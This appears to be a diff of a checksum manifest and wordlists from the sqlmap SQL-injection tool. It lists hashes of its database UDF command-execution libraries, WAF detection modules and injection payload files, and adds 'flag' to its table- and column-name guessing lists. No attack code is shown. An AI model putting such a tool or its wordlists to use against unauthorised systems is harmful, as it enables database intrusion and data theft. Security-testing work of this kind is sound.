+d41d8cd98f00b204e9800998ecf8427e  thirdparty/__init__.py
+e3b18f925d125bd17c7e7a7ec0b4b85f  thirdparty/keepalive/__init__.py
+e0c6a936506bffeed53ce106ec15942d  thirdparty/keepalive/keepalive.py
+d41d8cd98f00b204e9800998ecf8427e  thirdparty/magic/__init__.py
+bf318e0abbe6b2e1a167a233db7f744f  thirdparty/magic/magic.py
+d41d8cd98f00b204e9800998ecf8427e  thirdparty/multipart/__init__.py
+03c8abc17b228e59bcfda1f11a9137e0  thirdparty/multipart/multipartpost.py
+3e502b04f3849afbb7f0e13b5fd2b5c1  thirdparty/odict/__init__.py
+127fe54fdb9b13fdac93c8fc9c9cad5e  thirdparty/odict/odict.py
+08801ea0ba9ae22885275ef65d3ee9dc  thirdparty/oset/_abc.py
+54a861de0f08bb80c2e8846579ec83bd  thirdparty/oset/__init__.py
+179f0c584ef3fb39437bdb6e15d9c867  thirdparty/oset/pyoset.py
+d24924d878e24946e83cfc1459f806af  thirdparty/pagerank/__init__.py
+7616693115d08f9b815a567515a0db56  thirdparty/pagerank/pagerank.py
+94a4abc0fdac64ef0661b82aff68d791  thirdparty/prettyprint/__init__.py
+ff80a22ee858f5331b0c088efa98b3ff  thirdparty/prettyprint/prettyprint.py
+5c70f8e5f7353aedc6d8d21d4fb72b37  thirdparty/pydes/__init__.py
+a7f735641c5b695f3d6220fe7c91b030  thirdparty/pydes/pyDes.py
+d41d8cd98f00b204e9800998ecf8427e  thirdparty/socks/__init__.py
+74fcae36f5a2cc440c1717ae8e3f64c4  thirdparty/socks/socks.py
+d41d8cd98f00b204e9800998ecf8427e  thirdparty/termcolor/__init__.py
+ea649aae139d8551af513769dd913dbf  thirdparty/termcolor/termcolor.py
+bf55909ad163b58236e44b86e8441b26  thirdparty/wininetpton/__init__.py
+a44e7cf30f2189b2fbdb635b310cdc0c  thirdparty/wininetpton/win_inet_pton.py
+855372c870a23d46683f8aa39d75f6a1  thirdparty/xdot/__init__.py
+593473084228b63a12318d812e50f1e2  thirdparty/xdot/xdot.py
+08c706478fad0acba049d0e32cbb6411  udf/mysql/linux/32/lib_mysqludf_sys.so_
+1501fa7150239b18acc0f4a9db2ebc0d  udf/mysql/linux/64/lib_mysqludf_sys.so_
+7824059e8fc87c4a565e774676e2f1eb  udf/mysql/windows/32/lib_mysqludf_sys.dll_
+7fed5b8e99e36ce255c64527ec61a995  udf/mysql/windows/64/lib_mysqludf_sys.dll_
+0ee1310d4e2a4cc5a7295df01a3a78bf  udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_
+c7d9e1fcac5f047edf17d79a825fb64b  udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_
+ec41a080f4570c3866b9a7219f7623c4  udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_
+337e2b84dfb089d1ba78323ab2fd21bd  udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_
+e3234ad91b65c476e69743b196ea8394  udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_
+2e39682ab7f7f9d6bcce6a3f9dac576b  udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_
+b17ade3fe472b00f6d4d655f0d1036b2  udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_
+3dfc42ea62f5db4196a1b736c603ef0f  udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_
+fe297bfe5e27e7f99d64b2d6baa766fe  udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_
+d7ce763983f5ef4cdae07480c7e16c36  udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_
+f9e5d7a8f1fbd8df80d07f72ada0251b  udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_
+10a20abaf98ff25527702c7e37187427  udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_
+0b5158292758f4a67cb1bdfcefcd4ef3  udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_
+1d8eb0e3d38f1265ea1bef7f9ec60230  udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_
+1222dac08cf53e31e74e350a2c17452f  udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_
+27761c5e046da59f1f1e11f6d194e38a  udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_
+a6b9c964f7c7d7012f8f434bbd84a041  udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_
+d9006810684baf01ea33281d21522519  udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_
+ca3ab78d6ed53b7f2c07ed2530d47efd  udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_
+0d3fe0293573a4453463a0fa5a081de1  udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_
+9bb247767c4ba118f2c5f0416e3e6151  waf/360.py
+deb8dd4543177479b185af8b383a8bdf  waf/airlock.py
+0da662422cde266dd47cea3f5be6a309  waf/anquanbao.py
+012b4acd41f0c12df88cf0276c2afd1a  waf/armor.py
+757fe0f66a24719fa596cb974ee6ae71  waf/baidu.py
+8a26fe9e0ae48e8f28272769aa7dc16e  waf/barracuda.py
+826b64868a10caf1229d3bfcbbb4d594  waf/bigip.py
+3105f71b03c428f8b58cbf7a91eebff0  waf/binarysec.py
+e75422b8487f9937e050a60bc5c35896  waf/blockdos.py
+f60078f702612da43dd2a8ed07e26694  waf/ciscoacexml.py
+ac2edfa1d49b00b4bf730a9317090566  waf/cloudflare.py
+c69e1091521671452eaedf4787817ede  waf/cloudfront.py
+765d0663658257ef0ab1060519c6e175  waf/comodo.py
+33633c9a2b9d53c325ba1110607d566f  waf/datapower.py
+e0ad6e34b6082558e9f8f652d938c785  waf/denyall.py
+1ab6764976b3e2e28bab68cc73b5d8d9  waf/dotdefender.py
+037b715e1274fe2b4d2f31f6d24c9e77  waf/edgecast.py
+29d0c8331a4d7013d784e5dc91db49aa  waf/expressionengine.py
+d50415b49d9df72cb9d193d05630ab8a  waf/fortiweb.py
+c5d83d63647baa46dadf5cf992156edc  waf/generic.py
+b302a688932296357fe10658a81eee0c  waf/hyperguard.py
+f62b484e9083fcbf271a2b0c8f6d3528  waf/incapsula.py
+cc9c82cfffd8ee9b25ba3af6284f057e  waf/__init__.py
+5a898cfc081236d176274c5b513d0401  waf/isaserver.py
+9689ff3faaeb2ea1837b3e04520b0e42  waf/jiasule.py
+07eb9ee33a3e31bfc74763bea8026a2b  waf/knownsec.py
+32516985d3cb0aeeb1bf28062820b045  waf/kona.py
+c3de612a7960b08e1e7f97aa05b58df1  waf/modsecurity.py
+dc79a2e675d17df4cba1f8b839cbc11b  waf/netcontinuum.py
+8d3230fa3c6a7e41dc85dd04c95db044  waf/netscaler.py
+4e05b8169e53edd36a6269e937958744  waf/newdefend.py
+80eb59b4dcb62de8c97bd1bebbfb3f80  waf/nsfocus.py
+477c3b6b31e8eb1fe836bd5a24c9fab2  waf/paloalto.py
+e667efa27b53191315df547e95e04fa7  waf/profense.py
+8d5609a37127782fb35af4f67b5787ee  waf/proventia.py
+40125df9f8184eab1926add588762294  waf/radware.py
+fffbd039ec907274cdb6ee8e07e3cac4  waf/requestvalidationmode.py
+44bef80f1a34663c3e0a963d969d9b1f  waf/safe3.py
+65a519516a597232fd902082dbcbc796  waf/safedog.py
+e8cbddfffab8b400ea03f28ebfe14536  waf/secureiis.py
+32de8507c956422926aaf13085dbcf42  waf/senginx.py
+33db1ac9a11667199c7886bbb74f6b02  waf/sitelock.py
+ff2b052672f4753be1508f2a22118631  waf/sonicwall.py
+310b6081c65fb81917b8695b013559b6  waf/sophos.py
+ade8698c8096d373034bac72069873f6  waf/stingray.py
+b372c4fcc949767c38f2bead62d07418  waf/sucuri.py
+4c02fbf63989df9ab58b04229f00f6df  waf/teros.py
+b5ea5375df444e0240f1ee0e2a8e52fb  waf/trafficshield.py
+89a11a755a4ea3cb71feb3f5f2b5809e  waf/urlscan.py
+0569c783e3487551affe5c91aec3c6d3  waf/uspses.py
+960a8db9d3807fcd87f7f66dbfaa4628  waf/varnish.py
+98c909c8b6e50d715e5b88c639ff1836  waf/wallarm.py
+7a723ce2f1b82d7297a2ab025d5ca0be  waf/webappsecure.py
+75e51fea7f206e8faa2f743e44e58383  waf/webknight.py
+3bcac085dcd9ed26b50a2320e418e9f3  waf/yundun.py
+2a57f322f0b6e7b11b8df0909816a34f  waf/yunsuo.py
+2d53fdaca0d7b42edad5192661248d76  xml/banner/cookie.xml
+e87d59af23b7b18cd56c9883e5f02d5c  xml/banner/generic.xml
+d8925c034263bf1b83e7d8e1c78eec57  xml/banner/mssql.xml
+c97c383b560cd578f74c5e4d88c88ed2  xml/banner/mysql.xml
+9b262a617b06af56b1267987d694bf6f  xml/banner/oracle.xml
+d90fe5a47b95dff3eb1797764c9db6c5  xml/banner/postgresql.xml
+b07b5c47c751787e136650ded060197f  xml/banner/server.xml
+d48c971769c6131e35bd52d2315a8d58  xml/banner/servlet.xml
+d989813ee377252bca2103cea524c06b  xml/banner/sharepoint.xml
+350605448f049cd982554123a75f11e1  xml/banner/x-aspnet-version.xml
+817078783e1edaa492773d3b34d8eef0  xml/banner/x-powered-by.xml
+fb93505ef0ab3b4a20900f3e5625260d  xml/boundaries.xml
+535d625cff8418bdc086ab4e1bbf5135  xml/errors.xml
+a279656ea3fcb85c727249b02f828383  xml/livetests.xml
+14a2abeb88b00ab489359d0dd7a3017f  xml/payloads/boolean_blind.xml
+5a4ec9aaac9129205b88f2a7df9ffb27  xml/payloads/error_based.xml
+06b1a210b190d52477a9d492443725b5  xml/payloads/inline_query.xml
+3194e2688a7576e1f877d5b137f7c260  xml/payloads/stacked_queries.xml
+c2d8dd03db5a663e79eabb4495dd0723  xml/payloads/time_blind.xml
+ac649aff0e7db413e4937e446e398736  xml/payloads/union_query.xml
+5bd467d86d7cb55fbe5f66e4ff9a6bec  xml/queries.xml

txt/common-columns.txt

@@ -471,6 +471,7 @@ settingsid
 lname
 sale_date
 module_addr
+flag
 
 # spanish
 usuario

txt/common-tables.txt

@@ -1615,6 +1615,7 @@ SPACE
 geo_Sea
 DATA_ORG
 Contributor
+flag
 
 # Various Joomla tables
 jos_vm_product_download